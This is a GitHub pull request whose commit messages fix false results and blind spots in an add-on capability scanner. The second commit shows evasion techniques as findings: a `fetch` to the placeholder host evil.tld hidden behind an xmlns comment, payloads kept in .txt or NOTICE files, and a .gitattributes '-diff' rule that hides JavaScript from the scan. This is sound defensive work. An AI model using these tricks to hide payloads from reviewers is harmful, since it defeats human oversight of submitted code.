Skip to content

Stop the capability scan reporting hosts the add-on never contacts - #24

Merged
zephyrnova merged 2 commits into
mainfrom
fix/capability-scan-false-results
Nov 27, 2026
Merged

zephyrnova merged 2 commits into
mainfrom
fix/capability-scan-false-results

Conversation

@zephyrnova

Copy link
Copy Markdown
Contributor

Three defects in the capability scan, all found by running it over the two submissions open since the last review round rather than over the ones it was written from. None of them is a gate, so none blocked anyone — they spend the reviewer attention the automation exists to protect.

The network host list missed every scheme but HTTP. The video-chat submission (#21) signals over wss:// and relays through a stun: server, and the enumeration a reviewer is told to judge named neither — it listed two hosts harvested from the add-on's README instead. A list that silently omits the only two hosts an add-on talks to is worse than no list, because it reads as a complete one. The submitter noticed and wrote the real hosts into the pull request body by hand, which is the work this was supposed to have done for him.

Prose is now separated from code. A README sentence containing the word "WebSocket" is not an egress site; hosts named only in documentation are reported under their own heading, so a reviewer can tell a link from a relay. Same for a lockfile's resolved URLs, which stage 4c already gates as registry-hosted and pinned, and for xmlns declarations, which are identifiers and are never fetched. The Studio submission (#22) enumerated nine hosts; four are real and the other five were npm's and the W3C's.

And .exec( is RegExp.prototype.exec. Any scanner, validator or syntax highlighter uses it, so the native/process-execution category fired twice on the Studio's own manifest validator. The dotted bare form is excluded; the named variants have no RegExp counterpart and still match, and cp.execSync is reached through child_process regardless.

Cut from main and deliberately separate from #23, so that branch keeps the property that it does not touch policy.mjs. The two touch disjoint files and merge in either order.

Three defects, all found by running the scan over the two submissions open
since the last review round rather than over the ones it was written from.

The network host list missed every scheme but HTTP. video-chat (#21) signals
over `wss://agents-chat.hyperpg.site` and relays through
`stun:stun.l.google.com:19302`, and the enumeration a reviewer is told to
judge named neither — it listed `localhost` and `github.com`, both harvested
from the add-on's README. A list that silently omits the only two hosts an
add-on talks to is worse than no list, because it reads as a complete one.
The submitter noticed and wrote the real hosts into the pull request body by
hand, which is the work this is supposed to have done for him.

Prose is now separated from code. A README sentence containing the word
"WebSocket" is not an egress site; hosts named only in documentation are
reported under their own heading, so a reviewer can tell a link from a relay.
Same for a lockfile's `resolved` URLs, which stage 4c already gates as
registry-hosted and pinned, and for `xmlns` namespace declarations, which are
identifiers and are never fetched. The Studio submission (#22) enumerated
nine hosts; four of them are real and the other five were npm's and the W3C's.

And `.exec(` is RegExp.prototype.exec. Any scanner, validator or syntax
highlighter uses it, so the "native/process execution" category fired twice
on the Studio's own manifest validator. The dotted bare form is excluded; the
named variants have no RegExp counterpart and still match, and a `cp.execSync`
is reached through `child_process` regardless.

None of these is a gate, so none of them blocked anyone. They spend the
reviewer attention the automation exists to protect, which is the same cost
paid later.

Signed-off-by: Robert Moir <130709596+zephyrnova@users.noreply.github.com>
The review pass over this branch before merging found that two of its three
fixes traded a false positive for a place a payload could hide. Both are the
same mistake: a scan that refuses to read a file reports the same "(none)" as a
scan that read it and found nothing.

Documentation is scanned again, and labelled instead. Skipping `.md`, `.txt`,
LICENSE and NOTICE for every category was too broad, because Node executes
those files perfectly happily when something asks it to — CJS
`require('./NOTICE')` and `node tools/build.txt` both do — so a build or
main-process module could keep its payload in a file no category would look at.
Verified: a `.txt` carrying `child_process`, `execSync` and an exfiltration host
returned no items flagged. The prose problem this was reaching for is real, but
it is a problem about HOSTS, and the host split below already solves it. Here
the fix is to say where a match came from, so a reviewer can discount a README
sentence without the scan guessing on their behalf.

The namespace skip now removes the attribute, not the line. Dropping any line
containing `xmlns=` meant a real host could hide behind the token:
`fetch("https://evil.tld/x") /* xmlns= */` vanished from the host list
entirely, and stage 5 does not strip comments. Only the quoted attribute value
is removed now, so an SVG's namespace is still excluded and anything else on the
line is still read.

And one blind spot this branch did not open but does reach. An in-addon
`.gitattributes` containing `*.js -diff` makes `git format-patch` emit
`GIT binary patch` for every JavaScript file in the submission; the parsed patch
then has no added lines, every scan sees empty files, and the judgment queue
comes back `(none)`. Verified: a file containing `child_process`, `exec(`,
`eval(` and a `wss://` host produced `VERDICT: PASS — no items flagged`. It is
inside `addons/<id>/`, so stage 1's containment check has nothing to say about
it, and it was not a sensitive path.

Two layers, deliberately. `.gitattributes` and `.mailmap` are now sensitive
paths — the first can suppress a diff, the second can rewrite the authorship a
reviewer sees — and separately stage 1 refuses any text file delivered as a
binary patch at all. The second exists because the attribute can be set
somewhere other than the add-on's own directory, and a gate should not rest on
having enumerated every route to the thing it is gating.

The gates that read the post-patch TREE rather than the patch were never
affected by any of this, which is why none of it changed a verdict. That is
also what made it worth fixing: the capability scan is the reviewer's agenda,
and an agenda that silently empties is worse than no agenda.

Signed-off-by: Robert Moir <130709596+zephyrnova@users.noreply.github.com>
@zephyrnova
zephyrnova merged commit 26e0eb5 into main Nov 27, 2026
1 check passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant